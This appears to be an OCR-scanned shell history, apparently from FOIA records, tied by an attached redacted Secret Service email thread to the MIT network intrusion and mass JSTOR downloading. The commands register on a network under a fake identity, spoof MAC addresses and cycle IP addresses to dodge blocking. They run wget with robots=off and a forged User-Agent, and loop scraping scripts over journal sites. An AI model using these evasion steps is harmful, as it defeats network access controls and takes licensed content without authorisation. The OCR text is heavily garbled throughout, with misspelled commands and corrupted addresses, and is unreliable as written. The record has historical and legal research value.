ping ghost-laptop.dyndns-free.com
sudo fetc/init.d/ez-ipupdate help
sudo fetc/init.d/ez-ipupdate force-relasd
ping ghost-laptap.dyndns-free.com
more fetc/init.d/ez-lpupdate

more /etc/ez-ipupdate/default.conf
sudo less /etc/ez-ipupdate/defautt.conf
psax | grep ez-ip

ping ghost-laptop.dyndns-free.com
cd fvolfadfs/

Is

Is | less

python oaigrab.py

[R1F |}
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python - oalgrab.py

cd /vol/

Is

cd muse.jhu.edu/

Is

cd content/oaifjournals/

Is

¢d social_text/

Is

cd v017/

Is

more 17.3

more 17.3dutton.html

man wget

du -hsc /vol/*

du -hsc /vol/*

bwm-ng

is -th urlstograb.wget

grep pdf uristagrab.wget

screen -x

man wget

cd /volf

Is

wget -x-nc ~/urlstograb.wget

wget -x -nc -i ~/urlstograb.wget
sudo chown ghost .

weget -x -n¢ - ~/urlstograb.wget
wget -q -x -nc -i ~/urlstograb.wget
wget -y -x -n¢ -i ~“furlstograb.wget
screen -x

emacs calgrab.py

sudo apt-get install emacs23-nox
emacs oaigrab.py

python oalgrab.py | tee uristograb.wget
wc - urlstograb.wget

grep htmi uristograb.wget | sed -e ‘t/htmi/pdf/’ > uristograb2.wget
grep pdf uristograb.wget | sed -e 's/pdf/html/’ > uristograb2.wget
more uristograb

more usistograb2.wget

cd /volf

wget -hv X -nc -i ~/urlstograb2. wget
grep hitm! uristograb.wget | sed -e 's/btmi/pdf/! >> urlstograb2.wget
cd

grep html uristograb.wget | sed -e 's/htmifpdf/' >> uristograb2.wget
cd /vol

wget -tw -x -n¢ -} “furlstograb2 wget
curl muse.jhu.edu/f

links muse.jhu.edu

screen %

cd /media/noname/

Is

¢p tograb.log /home/ghost/

[R1F ]
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ced

cd

cd blocks/

Is § we -t

ed

is

mv tograh.iog blocks/

cd blocks/

more tograb.log

split -n 100 tograb.log

split --help

split --help|less

spiit -l 100 tograb.log tograb.

ls

ym tograb.*

¢cp /media/noname/tograb.log tograb-
split --helpless

split -a S -1 100 tograb.log tograb-
Is tograb *

we -l

Is § we -l

my tograb.iog ..

sudo dhclient ~release

sudo dhclient v

sudo dhclient

sudo dhclient -t

sudo dhclient

sudo fetc/Init.d/ez-ipupdate restan
ping ghost-laptop.dyndns-free.com
/sbinfifeontig -a | less

ping ghost-laptop.dyndns-free.com
screen -x

sudo ifconflg ethO up

curl --{nterface ethO hitps://nlc.mit.edu:444/bin/d 2¢l Isitor
/sbinfifconfig -a

sudo dhclient

curl --Interface ethO https://nic.mit.edu Mdlbln/dvngreg?c@;s-ml Qr
cat logininfo

curl ~interface eth0 hitps://10.72.0.47; 444[bin[dyga[gg4 class=visitor
curl ~interface eth0 10.72.0.47
ping ~hel

ping -J eth0 10.72.0.47
/sbin/ifcontig -a

ping -t th04.2.2.2

man ping

ping -1 10.2.55.1204.2.2.2

sudo ping -1 10.2.55.1204.2.2.2
/sbinfifconfig -a | less

sudo plng -} 10.2,55.120 4.2.2.2
sudo ping -l wian0 4.2.2.2

sudo ping -1 eth04,2.2.2

ping -l eth04.2.2.3
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sudo ping -1 eth0 4.
sudo ping -l eth0 10,72.0.47
sudo curl --interface eth0 10.72.0.47

man curl

sudo curl ~Interface 10.2.55.120 10.72.0.47

route

[shinfifconfig -a

route add default gw 18.2.55.1

sudo route add defauit gw 18.2.55.1

suda ping -1 eth0 10.72.0.47

echo ®sudo route add default gw 18.2.55.1" >> logininfo
sudo curl --interface 10.2.55.120 10.72.0.47

curl --interface eth0 10.72.0.47

curl —interface eth0 hitps://10.22.0,47:444/bin/dynareg ?class=visitor
curl -k ~interface ethO hitps://10.72.0.47;444/bin/dynarer?tlass=visitor
curl -d "clagsavisitor” -k --interface ethO https://10.72.0.47:444/bin/dynareg

curl -d "classsvisitor&action=Register" -k interface eth0

curl -d "vhame=Grace+Host&vemail=ghost42 @mailinatar.com&action=Register&class=visitor" -k --interface eth0

https://10. : | are

echo 'curl -d "vhame=Grace+Host&vemail=ghost42@mailinator.com&action=Reglster&class=visitor* -k ~interface etho

https://10.72,.0.47:444/bin/dynareg’ >> logininfo
curl ~interface eth0 10.72.0.47

sudo dhclient eth0

sleep 600; sudo dhcllent etho

route

curl --interface wian0 www.yahoo.com

curl --interface wlan 4.2.2,2

sleep 600; sudo dhclient ethQ

sudo dhclient eth0

sudo ping -l €th0 10.72.0.47

sudo ping -l wlan0 4.2.2.2

sudo ping -1 €th0 4,2.2.2

man route

dnsip

dig www.yahoo.com

dig www.yahoo.com]grep "IN"

dig www.yahoo.com{grep “IN" | grep 10.72
¢cho 'dig www.yahoo.com|grep "IN | grep 10.72' > logininfo
/sbin/ifconfig -3

/sbin/ifconfig -a|grep en

sudo ifconfig ethO hw 00:4¢:e5:a0:¢7:56

sudo ifconfig ethO hw ether 00:4¢:e5:a0:¢7:56
sudo ifdown etho

sudo ifconflg ethO hw ether 00:4¢:e5:a0'¢7:56
sudo ifconflg ethO down

sudo fconflg ethO hw ether 00:4¢:e5:a0:¢7:56
sudo ifconfig ethO up

emacs logininfo

ping www.yahoo.com

dig yahoo.com

sudo dhdient

dig www.yahoo.com
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emacs logininfo

emacs fetc/ez-ipupdate/defauit.conf
/sbin/ifconfig -a

sudo emacs /etc/ez-ipupdate/default.conf
Jetcfinit.d/ez-ipupdate restart

sudo fetc/Init.d/ez-Ipupdate restart
dig

dig x.dyndns-free.com

dig ns x.dyndns-free.com

cat /Jetc/resolv.c

cat Jetc/resolv.conf

dig www.yahoo.cvom

dig www.yahoo.com

links —help

links --help|grep inerf

links --hetp|grep interf

fynx

curl --interface ethQ www.yahoo.com
dig @10.2.55.7 www,yahoo.com

dig @10.2.55.2 www.yshoo.com
sudo dhclient

cat /etc/resolv.conf

suda dhclient

cat fetc/resotv.conf

ping 10.72.0.47

dig @10.72.0.47 www google.com
gnome-screensaver-

df

plng www.yahoo.com

echo 10.72.0.47>> loglninfo

dig --heip

host --help

dig ns x.dyndns-free.com

dig @ns1.dyndns.org ghost-laptop.dyndns-free.org
dig @nsl.dyndns.org ghost-daptop.dyndns-free.com
/sbinfifconfig -a

ssh ghost-laptop.dyndns-free.org
ssh ghost-laptop.dyndns-free.com
ssh --help | grep interf

man ssh

sudo ifconfig eth0 down

ssh ghost-laptop.dyndns-free.com
sudo curl --interface eth0 10.72.0.47
route

ssh ghost-laptop.dyndns-free.com
ping www.yshoo.com

/sbinfifconfig -a

ssh 10.184.76.179

sudo dhclient ehtd

sudo dhclient eth0

route

man route

IRIFI
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route

sudo dhcllent eth0

sudo route del default

sudo route -net 10.0.0.0 gw 10.189.64.1

suda route add -net 10,0.0.0 gw 10.189.64.1

sudo route add 10.0.0.0 gw 10.189.64.1

route

ping 10.189.76.179

ping 10.72.0.47

sudo dhclient eth0

/sbin/ifconfig -a

ping google.com

route

ping4.2.2.2

sudo dhclient eth0

cat loglninfo

curl -d "vname=Grace+Host&yvemail=ghostd2 @wmailinator.com&vspunsor=&vinterval=14”

curl -d “vpame=Grace+Host8wemait=ghostd2 @mailinator.com&vsponsor=&vinterval=14" -k --interface eth0
hitps://10.72.0.47:444/bin/dynareg

echo ‘curl -d "virame=Grace +Host&vemaijl=ghost42 @mallinator.comfvsponsor-Rvimterval=14" -k —interface ethd
hitps://10.72.0.47:444/bip/dynareg’ >> logininfo

curl www.yahoo.com

echo 'curl -d "vname=Grace +Host&vemail=ghost42 @mailinator com&vsponsor=&vintervals 14" -k ~Interface ethG
hitps://10.72.0.47:444/binfdynargg’ >> logininfo

curl d "vhame=Grace+Host&vemall=ghostd2 @mallinator.com&vsponsor=&vinterval-14" -k ~interface ethQ

hitps://10,72.0.47:444/bIn/dynareg
curl -d "voame~Grace+Host&vemail=ghostd2 @mailinator com&vsponsor=&vinterval=Ss"* -k --interface eth0

sudo dhclient ethQ
sudo dhelient -r
sudo dhclient -r eth0
suda dhclient ethD

/sbinfifconfig -a > ifcanfiglog
/[sbinfifconfig -a

sudo ifconfig wlan0 down

sudo ifconfig wian0 hw ether 90:4¢;e5:a0:¢7:55
sudo ifconfig wian0 up
/sbin/ifconfig -a
[ete/Init.d/ez-lpupdate restart
sudo fetc/init.d/ez-lpupdate restart
dig ghost-laptop.dyndns-free.com
ping 4.2.2.2

sudo dhctient

ping 4.2.2.2

ping www.yahoo.com

route

curl www.yahoo.com

ssh ghost-laptop.dyndns-free.com
/sbin/ifconfig -a

ssh18.111.48.33

curl www.yahoo.com

sudo dhclient ethQ
[R IF ]
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cd /imedia/bceB20ea-a03b-4556-bfab-etf2d9ebb6Se/
Is

Is | grep ajp

Is | grep -v oxford

cd /vol

ls

cd www.gename,org/content/1/3/

Is

cd /media/bce820ea-303b-4556-biat-eff2d9ebb65e/

more pdfs/2520824.pdf

more pdfs/25208234.pdf

Is -1 pd€s/25208234.pdf

ls -Ut pdfs | head

python

ps ax | grep pyth

psax | grepls

sudo kill 8185

sudo kill -9 8185

fg

cd bl

cd blocks/

is

cd done/

Is | less

Is | head

mare 3llpd000N0009

more allpd000000003

more alipd0000000009

Is -1 /media/bce820ea-a03b-4556-bfa6-eff2d9eb6b5Se/pdfs/2027314S.pdf
Is | tail

more tograb-aaggu

more /media/bce820ea-a03b-4556-bfab-aff2d9eb665e/pdfs/359815. pdf
Is 41 /media/bce820ea-a03b-4556-bfaG-eff2d9eb665e/pdfs/ 359815 pdf
Is | tess

Is | grep -v pd | less

Is | grep blk | tail

more bik0000003629

more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665¢/399479

more /media/bceB820ea-a03h-4556 -bfab-eff2dYeh665¢/399479. pdf
more /imedia/bce820e3-a03b-4556 bfaé ef2d9eb665¢/3999479. pdf
more /imedia/bce820ea-a03b-4556-bfa6-eff2d9eb66Se/pdfs/3999479.pdf
more /media/bce820ea-a03h-4556-bfab-eff2d9eb665e/pdis/3999478. pdf
cd

python

In -s /media/bce820ea-a03b-4556-bfaG-eff2deb665e/ /media/drive
sudo It -s fmedia/bceB820ea-a03b-4556-hfa6-eff2d9eh665e/ /media/drive
fg

Is /media/drive/pdfs*

[

w

/sbin/ifconfig -a
) IR
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ssh 10.189.61.53

{sbinfifconfig -a

sudo /etc/init.d/ez-ipupdate restart

ssh 18.111.48.33

Is

more failedandneedtograb

cat failedandneedtograb | sed -e ‘s/.pat//* | sort-u | head
cat falledandneedtograb | sed -e 's/.pdf//' | sort -u > falled-partial-clean
head failed-partial-clean > blocks/testfalled
/sbin/ifconfig -a

cur --interface wian0 www.yahoo.com
route

ping 18.211.31.1

we -| falladandneedtograb

sudo apt-get install autossh

sudo apt-get update

man ssh

ps ax | grap dhclient

kill 7937

sudo kill 7937

sudo kill 8001

sudo kil 8281

ps ax | grep dhelient

ps ax | grep netwo

ps ax | grep Netw

sudo kill 730

ps ax | grep Netw

ps axf

Jete/init.d/network-manager stop

sudo /etc/Init.d/network-imanager stop

ps ax

ps ax | grep dhcl

sudo kill 8839

ps ax

/sbinfifcanfig -8

sudo emacs /etc/ez-ipupdate/default.conf
sudo /et¢/Init.d/ez-lpupdate restart

dig ghost-laptop.dyndns-free.com

Is

screen -x

w

who ami

we -l failed-clean

screen -x

|

Is

cat falledandneedtograb | sed -e 's/.pdf//" | sort -u > falled-partial-clean
we-| failedandneedtograb

cat failedandneedtograb | sed -e ‘'s/.pdf//" | sort -u > failed-clean
rm falted-partlal-clean

more falled-clean

cd blocks/done

is

IR
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Is | less

less bIkO00O000020

w¢ -1 bik0000000020

ed..

split ~help

split -a 5 -1 1000 failed-clean blocks/bikfall
df -b

craen -x

screen -x

who am |

cd umi

python

cd umi

grep 797854 *

grep 801899 *

Is

rore 900.htmi

grep 1978790241 *

screen -

screen -x

finks

Is

screen -x

Is blocks

Is

rin failedandneedtograb

rm failed-clean

python

Is

mv pdf2size.dbm pdf2size-js3.dbm

fg

more stifltograbx

split --hslp

split -a 5 -1 100 stilitograbx hlocks/stillbik
Is blacks

fe

cd /media/drive/pdfs

more 3530725.pdf

less 3697690.pdf

cd /media/drive/pdfs

more 3590725.pdf

Jess 3697690.pdf

links "hitp://www.nejr.on.ezp-
pr/doi/full/10.1056/NEJMpO78190keytype=Lf ipsecshaklikey=d016a1bad5489a1d98¢8c00d31b0f51b71e229d48
links " http://www.nejm.org,ezp-pe/dol/full/10.1056/NE)MpO78190"
links "bttp://www nejm.org/doi/fullf10.1056/NEIMpL78130"
Is

Is umi/saneurl.py

links http://ilnkinghub.elsevier.com/retricve/pil/0933365789900110
links “http://linkingbub.elsevler com/retrieve/pil/092911999490006X"
more /vol/umif107685.htmi

links /volfumi/107685.htm|
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links /vol/uml/107754.htmi

curl -l http://linkinghub.elsevier.com/retrieve/nii/89780750657457500224

curl 4
"htp:/flinkinghub.elsevier.com/retrieve/articleSelectSingle 2Redirect=http3s3A%2F %2 Fwvaw.sciencedirect.comds2Fscien
ce%3F _ob%3IDGatewayURL%26_origin%3Dinwardhub®26_uriversionds304%26 method%3DcitationSearch%26_piikey%
3DB9780750657457500224%26 version¥301%26md5%305d0b15fec31ccccI66841511194990a"
curl <

“hitp:/fwew.sciencedirect.com/science? ob=GatewayURLE originzinwardhyb&_urlversion=4& method=cjtationSearc
h& piikey=R9780750657457500224% version=1&md5=54d0h15fec3leccc3668415111e949908"
curl - "ittp://www.sciencedirect.com/science? ob=ArticleURL& udi=R8K8S-4RIMOTB-

88& user=501045& caverDate=01%2F09%2F2008& rdoc=1& fmt=high& orig=search& origin=gsearch& sort=d&_ doca
nchors&view=c& acct=C0000226598 version=1& urlVersion=0& userid=501045&md5=0dd2643{6¢14¢404198de5326
267¢B1a&searchtype=a”

ping www.jstor.org

curl www.jstor.org

Is

screen -x

df-h

screen of

screen -x

cd fmedia/drive/jsindex/

Is

rm*

Is

5

Is

cd 1923

Is

mare 00900.htmi

python

cd..

Is

python

more 1923/06700.htmi

fg

Is blocks

df -h

sudo umount /media/bce820ea-a03b-4556-bf36-aff2d%eb665¢e/

ping 4.2.2.2

/sbinfifconfig -3

/sbin/ifconfig -a]less

Is

~/bin/sts pdfs | head

[sls pdfs | head

cd pdfs

Jsls | xargs -l mv {} /val/pdfs/

.fsls . | xargs -i mv {} /vol/pdfs/

Is

&d .

rmdir pdfs

more deleteandgrab

" ; [R1F ]
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Is -l

more pdfs3.sls

tail pdfs3.sis

{s

more js3.1sIR

less js3.IsIR

Is -Ih js3.IsiR

g

Is

Is -th pdf2size-jsd.dbm

we -l Js3.1sIR

python

spllt -a 5 -1 100 30mblocks blocks/grp30om
¢d /volfisindex/

python

cd /media/dr

cd /media/drive/
~fkeepgrabbing.py

fg

more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pdf
curl protect.theinfo.org
links protect.theinfo.org

df ‘

ps ax | grep part

ps ax

cd /media/

is

mkdir drive2

sudo mkdir drive2

sudo mount /dev/sdf grive2
sudo mount -t reiserfs /dev/sdf drive2
sudo mount -t retserfs /dev/sdfl drive2
df

df -h

cqd drive2

Is

Is-a

mkdir pdfs

sudo mkdir pdfs

sudo chown ghost pdfs

cd /vol

Is -}

e ..

Is 4

rm vol

sudo rm vol

sudo In -s /media/drive2 vol
screen -r

screen =x

ping www.google.com
/sbinfifeonfig -a
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/sbinfifconfig -a|less
dhclient

sudo dhclient

sudo ifdown eth0:1
ping www.google.com
/sbinffconfig -a
/sbin/tfconfig -a|less
ping 4.2.2.2

cat Jetc/resoiv

cat fetc/resalv.conf
ping 10.72.0.47\

ping 10.72.0.47

ping 4.2.2.2

sudo ifconfig down ethd:1
sudo ifconfig eth0:1 down
/sbinfitconfig -a)less
sleep 600 && bell

bg

dhclient

sudo dhclient

df -h

sudo umount /dev/sdf1
fe

df

ps ex | grep dhdile
sudo kill 31696
/sbin/ifconfig -a | less
screen -xX
gnoma-screensaver

gnome-screensaver-command —fock

gnome-lock-screen
gnome-screensaver-lock
xscreensaver -lock

gnome-screensaver-command -Hock

gnome-screensaver
screen -x

df

cd /media/

Is

mount /dev/sdgl 33ab9fel-9¢54-43b1-9374-72722078d3eQ/
sudo mount /dev/sdgl 33ab9fe1-9c54-43b1-9374-7272 2478d3e0/f

df

sudo mount /dev/sdh1 3aab9fe1-9c54-43b1-9374-72722d78d3e0/

Is
/sbin/ifconfig -a

sudo ifcanfig mac 91:4c:e5:a0:¢c7:55

Is
/shin/ifconfig -8 > mac

sudo [fconfig mac 91:4¢:e5:30:¢7:55

fg

sudo ifconfig ethD mac 91:4c:e5:a0:c7:55

man Ifconflg
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sudo ifconfig ethQ hw ether 91:4c:e5:20:¢7:55
{sbinfifconfig -a | grep ether

/sbin/ifconfig eth0

sudo ifconfig ethO hw ether 00:4¢:¢5.30:¢7:55
sudo ifdown eth0

sudo ifconfig ethO hw ether 00:4c:e5:30:¢7:55
sudo feonfig ethO down

sudo ifconfig ethO hw ether 00:4¢:¢5:30:¢7:55
sudo ifconfig ethO up

dhclient

sudo dh

suda dhclient

sudo dhclient -r

cd /mnt/

Is

df

cd /mediafbce820ea-a03b-4556-bfas-eff2d9ebb65e/
is

Is-1/

In -5 /madla/bceB20ea-a03b-4556-bfas-eff2d9eb665e/ /val
SUDQ In -s /media/bce820ea-a03b-4556-bfaé-eff2d9eb665e/ /vol
sudo In -5 /media/bce820ea-303b-4556-bfs6-eff2d%ebb65a/ /vol
cd /vol

ls

df

itconflg

sudo dhiclient -¢

sudo dhcllent

Is

cd

Is

screen -r

Is blocks/ jwc 4

screen

screen -f

screen «x

we - urlstograh.wget

dt -h | media

df -t | grep media

we -l uristograb.wget

df -h | grep media

grep -v oxford uristograb.wget |less

grep -v oxford urlstograb.wget |grep -v dukejo |grep -v genesdey | grep v err |less

grep -v oxford uristograb.wget |grep -v dukejo |grep -v genesdev | grep -v ere | grep -v cship | grep -v rnajou |less
grep -v oxford urlstograb.wget |giep -v dukejo |grep v genesdev | grep -v err | grep -v cship | grep -v enajou jgrep -v

genome|less

grep -v oxford uristograb.wget |grep -v dukejo |grep -v genesdev | grep -v err | grep -v cship | grep -v majou |grep -v

genome|grep -v learnmem|less
wc -l urls®

df -h | grep media

Is blacks/|we -l

df -h | grep media
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Is blocks/|we -l

df -h | grep media
Is blocks/fwe -l

df -h | grep medla
LS

df

w

df -h | grep media
Is blocks/we 4
df-h | grep medla
ks blocks/{wc -

ts blocks/ jwe -}

df -h | grep medis
is blocks/ jwc -

df -h | grep media
ts blocks/jwe -

df -h | grep medla
Is blocks/ |we -1

Is fmnt

1s /vol

df -h | grep media
Is blocks/{we -

df -h | grep media
Is blocks/|wc -

df -h | grep media
ls blocks/|wc -l

df -h

Is blocks/we -l

df -h | grep media
is blocks/|wc -1

df -h

df -h | grep media
Is blocks/|we -1

df -h | grep media
is blocks/{we -l

df -h | grep media
Is blocks/|wc -

df -h | grep medla
is blocks/|wc -i

df -h | grep medla
Is blocks/ | we -

df -k | grep media
1s blocks/|we -

df -h | grap media
Is blocks/we -

df -h | grep media
ping google.com
/sbin/ifconflg -2
/sbin/ifeonfig -a}less
df

umount /media/drive
cd /media/drive/
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Is

df -h

Is

sudo umount /dev/sdel

sudo umount -f /dev/sdel

df

/sbinfifconfig -a|less

df -h | grep drive?

Is blocks/|we -l

¢d

Is blocks/ {wc -f

df -h | grep drive2

/sbin/ifconfig -8

ifconfig eth0:1 static 18.55.7.241

sudo ifconfig eth0:1 static 18.55.7.241
/sbinfifconfig -a

curl —-interface eth0:1 www.]stor.org
curl ~interface ethO www.jstar.org
sudo ifcanfig ethD:1 static 18.55.6.241
curl —interface ethO www.Jstot.org
curd ~Interface eth0:1 www.jstor.ofg
suda ifconfig ethO:1 static 18.55.5.241
curl —interface ethQ:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.4.241
curf ~interface eth0:1 www.jstor.org
/stin/ifconfig -a

sudo ifconfig ethO:1 static 18.54.4.241
curl --interface eth0:1 www jstor.org
sudo ifconfig eth0:1 static 18.54.5.241
sudo ifeonfig ethO:1 static 18.55.5.241
sudo ifconflg eth0:1 up static 18.55.5.241
Is tslocks/fwc -}

ping 4.2.2.2

cd vol

¢d fvol

~/keepgrabbing.py

fg

cd.

Is vol

Is -f vol

rm vol

suda rm vol

sudo In -s /media/drive /vol

cd /vol

~fkeepgrabbing.py

a

~/keepgrabbing.py

cd .,

¢d vol

~/keepgrabbing.py

cd

Is

|R||=|
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mkdir tomove

cd tomove

mkdir pdfs

~/keepgrabbing.py

emacs ../keepgrabbing.py
~fkeepgrabbing.py

sudo rm /vol

sudo In -s /mediaf3aab9fel-9¢54-43b1-9374-72722d78d 320/ fvol
cd /vol

~/keepgrabbing.py

fg

ls

cd ../voi

~/keepgrabbing.py

links www.jstor.org

dhclient

/sbinfifconfig -a

ifconflg up eth0:1 18.55.6.251

ifconfig --help | less[A

ifconflg --help .
ifconfig eth0:1 up static 18.55.6.25

sudo ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig ethD:1 up static 18.55.6.252
Jsbin/ifconfig -a

ping ~help | less

ping -i eth0:1 www.google.com
/sbin/ifconfig -a

/sbinfifconfig -a|less

sudo ifconfig ethO:1 up static 18.55.6.241
/shin/ifconfig -a

ping -| eth0:1 www.google.com

ping -1 18.55.6.241 www.google.com

curl --interface eth0:1 www.google.com
curl —interface eth0:1 www.jstor.org

curl ~-help | less

/sbin/ifconfig -a

sudo Ifconfig eth0:1 up statlc 18.55.6:252
curi —-Interface eth0:1 www.jstor.org '
sudo ifconfig eth0:1 up static 18.55.7.240
curl --interface eth:1 www.jstor.org

curl —interface eth0:1 www.stor.org/x

Is

emacs keepgrabbing.py

cd tomove/pdfs/

Is | we-l -

my * Jvol/pdfs

Is

ed ..

Is

mkdir umi

od umi

curl =0 0.htmi "proquest.umi.com/pgdweb ?RQT=305&5Q=PMID(66563)&PageSize=50"
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curl -0 0.htmt "proquest.umi.com/pqdweb?RQT=305&50=PMID{66569)&PageSize=508cfc=1"
more C.htm|
curl -l proquest.umh.com/padweb?RQT=30585Q=PMID(66569)&Pagesize=50
curt -i "proquest.umi.com/pgdweb?RQT=305&SQ=PMID{66569)&PageSize=50"
curt -H "Cookie: JSESSIONID=fdzWwqzMRSha" -0 0.htm!
"proquest.umi.com/pqdweb?RQT=30585Q=PMID{66569)8 PageSize=50"
more ¢.html
curl -H "Cookie: JSESSIONID=f4:WwyqzMRSha" -0 50.btml
"proguest.umi. com/pqdweb?RQT-305&SQ=PMID(66569)&PageSuzecSO&ﬂrsundex-SO“
diff -u 0.html 50.html
macs curicommands.py
emacs curicommands.py
python curcicornmands.py
python curicommands.py
move curfcommands.sh
ym curlcommands.py
emacs curicommands.py
python curlcommands.py
moce curicommands.sh
hash curlcommands.sh
more 1100
more 1100.html
lynx -dump 1100.htmi
links 1100.html
python
cat > saneurl.py
L]
Is /media
fg
mkdir /media/drive/umi
L4
curt -i hitp://proguest.umi.com/padweb

fg

is /media/drive/umi

more /medla/drive/2073772711.pdf
more /medla/drive/umi/2073772711 pdt
more /medla/drive/umi/2073772711 htiml
more /media/drive/umi/2073772711.pdf
fg

cd /vol

~/keepgrabbing.py

od..

cd vol

~/keepgrabbing.py

fg

~/keepgrabting.py

¢d ..

d vol

Is

~/keepgrabbing.py

Is

df -h
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ps ax | grep keep

ps ax | grep ser

fg %1

fg0

fg

kifl 2137

kit 2138

ps ax | grep keep

python serveblocks.py 8092
f8

python serveblocks.py 3092
emacs servablocks.py
python serveblocks.py 8092
emacs servedlocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
kill %61

fg

pythaon serveblocks.py 8092
kil 951

fg

python serveblocks.py 8092
kit %1

fg

python serveblocks.py 8092
g

Kkill %1

fg

python servablocks.py 8092
kill %1

tg

python serveblocks.py 8092
kil %61

fg

emacs serveblocks.py
python serveblocks.py 8092
¢d /media/drive/
~lkeepgrabbing.py

df -h

df -higrep sdd; date

du -hsc fvol/*

dm fvol/uristograb2.wget
rm /vol/uristograb2.wget
du -hsc fvoif*

bwm-ng

du -hsc fval/*

df -h

df -h|grep media
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Is blocks fwe¢ -)

Is

emacs oaigrab.py

python - oaigrab.py

emacs oaigrab.py

python - caigrab.py

emacs oalgrab.py

mkdir muse

mv uristograb*® muse

python oaigrab.py | tee urlstograb.wget
we -1 urlstograb.wget

emacs oalgrab.py

python -i caigrab.py | tee urlstograb.wget
emacs o3igrab.py

python -i oaigrab.py | tee urlstograb.wget
ls

emacs oaigrab.py

fg

emacs oalgrab.py

python -} oaigrab.py | tee uristograb2.wget
fg

cd /vol

wget -x -nv -nc -i ~furlstograb.wget

more analysis.oxfordjournals.org/content/35/3/97 full. pdf
wget -x -nv -n¢ -| ~/uristograb.wget

mkdir sd

cd sd

wget -in -np “http://www sclencedirect.com/science/page/sitemap/index.htmi”

wget --header="User-Agent: WL/6" m np “http://vww.sclencedirect.com/sclence/nage/sitemap/index. htmi"
wget --header="User-Agent: WL/6" -m -np "hup://www sciencedirect. com/sclence/page/sitemap/index.htm{*

wget -@ robots=off —-headers"User-Agent: WL/6” -m -np

"hitp:/ fwww. sclencedirect.com/science/nage/sitemap/index.htmi”

is

cd www.sclencedirect.com/sclence/page/sitemap/publication/
Is

cd serial/

Is

cd journals/

Is

amacs ~/sls

chmod +x*/sls

~/sls | less

~/sis. | less

more 17509467 html

Is 0242648X

Is 0242648%/24

Is 0242648%/24/3

more 0242648X/24/3/243.htm!}
python

fg

mkdir /vol/sd/jo

e

7
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cd

fg

python

Is

cd umi

Is

python

s

mora keepgrabblng.py
¢d /vol/

Is

mkdir pdfs

sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfs/
«/keepgrabbing.py
«d..
~/keepgrabhing.py
4
~/keepgrabbing.py
dids

fa

python

pwd

Is

cd ~furmi

python

fg

python

{s 1000000.htm)

fg

more 128214.htm|
more 128213

{ess 128204.htmi
less /vol/umi/128204.htmi
links /vol/umif128204.htmi
python

s th

is blocks | we -1
python

Is *dbm

f3

Is

more deleteandgrab
split -a S -1 1000 deleteandgrab blocks/regrab¢
ls blocks/|we -

cd blocks/

Is | less

Is | tall

cd..

fg

Is /mnt
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df

Is /media/drive

(8

links http://calibec,ucpress.net/dol/pdf/10,1525/a5.2010.50.5.835
ls

rm pl-salmela.pdf
curl "hutp://portal.acm.org/ft pateway.cim?id=11874398&tyoe=pdiCFID= 15902 & CFTOKEN-55059171"
curl - "http://portal.acm.oig/fit gateway.cfm?id=1187439&type=pdfRCHID=15902&CFTOKEN=55059171"
curl -i "hitp://portal.acm.org/ft_gateway,cfm?id=1187439&type=ndf"

curl -i "hitp://portalacm.oe/ft gateway.cfm?d=1187439&type=pdf"|less

ls

more serveblocks.py

emacs serveblocks,py

more keepgrabbing.py

Is fvol

~fsls fvol umi > uml.sls
more umi.sls

~/sks fuolfumi > umi.sls

~fsis [val/pdfs » pdfs3.sls

Is -IR /vol > [53.IsIR

maore j53.1sIR

Is -IR fvol/ > js3.isIR

more js3.IsIR

we -l js3.IsIR

echo -n me@aaronsw.com|mdSsum
df

ps ax

df

mount /dev/sdc/vol

¢d Nvol

Is

cd /media/

ls

Is -1

vm drive

suda rm drive

sudo mkdir drive

sudo mount /dev/sde drive
sudo mount /dev/sdel drive
cd drive

Is

df

fd -h

df -h

mkdir pdfs

sudo mkdir pdfs

sudo chown ghost pdfs

is

~/keepgrabbing.py

cd /media/drive/pdfs

more 3530725 .pdf

less 3697690.pdf

. 'lelg:l




less 30072010.pdf
less 60244678.pdf
less 3523970.pdf
less 3548593.pdf
less 3523645.pdf
less 3813153.pdf
less 3838338,pdf
less 3279339.pdf
less 1888323.pdf
less 688560.pdf
less "234, pdP'

less 742572.pdf
less 30058803.pdf
less 2023815.pdf
more 2023815.pdf
cd
~/ieepgrabbing.py
fg

Is

cd pdfs

Is

df -h

cd fvalf
~{keepgrabbing.py
cd ..

cd vol
~/keepgrabbing.py

(b)(8).(b)7)C)

U.S. Scerel Service
Boston Field Office

(b)(6),(bX7)(C)

Al a-mall tofliom this account IS subjeet to official review and 1s for official use only. Action may Le taven Ia response te any Inappropriste use of the Seaet
Service's -mall system. This e-mall may contaln information that Is privileged, low enforcoment sensitive, or subject to other disclosure {Imitatlans. Such
information is loanad ta you and should not bo furthar disseminataed without the permission of the Secret Service. If you have dacsived this e-mall In error,
Ju not keep, use, disclase, or copy It; notify the sendor tmmediately and delutu it

P LA A

s
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tb)(_fi).(b)(“C) (CID)

From: I‘DE(S)'(")(”(C) ?cert.org]
Sent: ednesday, Marc , 2011 11:31 AM

To: WM.WKD&C_L pOs)
Ce: (BYB).(bX7)C) D)
Subject: Re: bash histary of Acer involved with MIT hack and downloading from JSTOR

Hare Is the phone bridge Informatian. | have booked the line from 1 to 2 Eastern,
Loaking forward to speaking with you then.

(b)(8).(e)(THC)

From; 'Heymahn, Stephan (USAMA)” kgi(s'),(b)(?)(C) Pusdo] gov>
Date: Wed, 9 Mar 2011 10:49:07 -0500

To: [(L)(BY.(BX7NC) _kBos) [(B)6).(bX7)C)  Pusss.dhs.govs {L)B)LBN7XC) Pcart.org>
Cd{L)B8).(bIFNC) Peert org>

Subject: RE: bash history of Acer invalved with MIT hack and downiaading from JSTOR
Works for me[(£)(6), ]

From(®)(6).(0}7)(C) 180S) [malltd{BYEL.(BR7XCY Jusss.dhs.gov)
Sent: Wednesday, March 09, 2011 10:37 AM

To
Ca:{(bMB).(bX7)C) ]

Subject: RE: bas

Heymann, Stephen (USAMA)
istory of Acer invoived with MIT hadk and downioading from JSTOR

Would 1300 today work far everyone? Do you have the ability to host 2 conferenca call?

(L)(B).(b}7)C)
LL.S. Secres Service
Roston Field Office

(6)(6).(b)(7)(C)
From:{RYELRYTI[mailtcf(b)(6).(b) kert.org]

sent; Wednesday, March 09, 2011 10:36 AM
To}(P)6).(EX7)C) B0S)

Cc
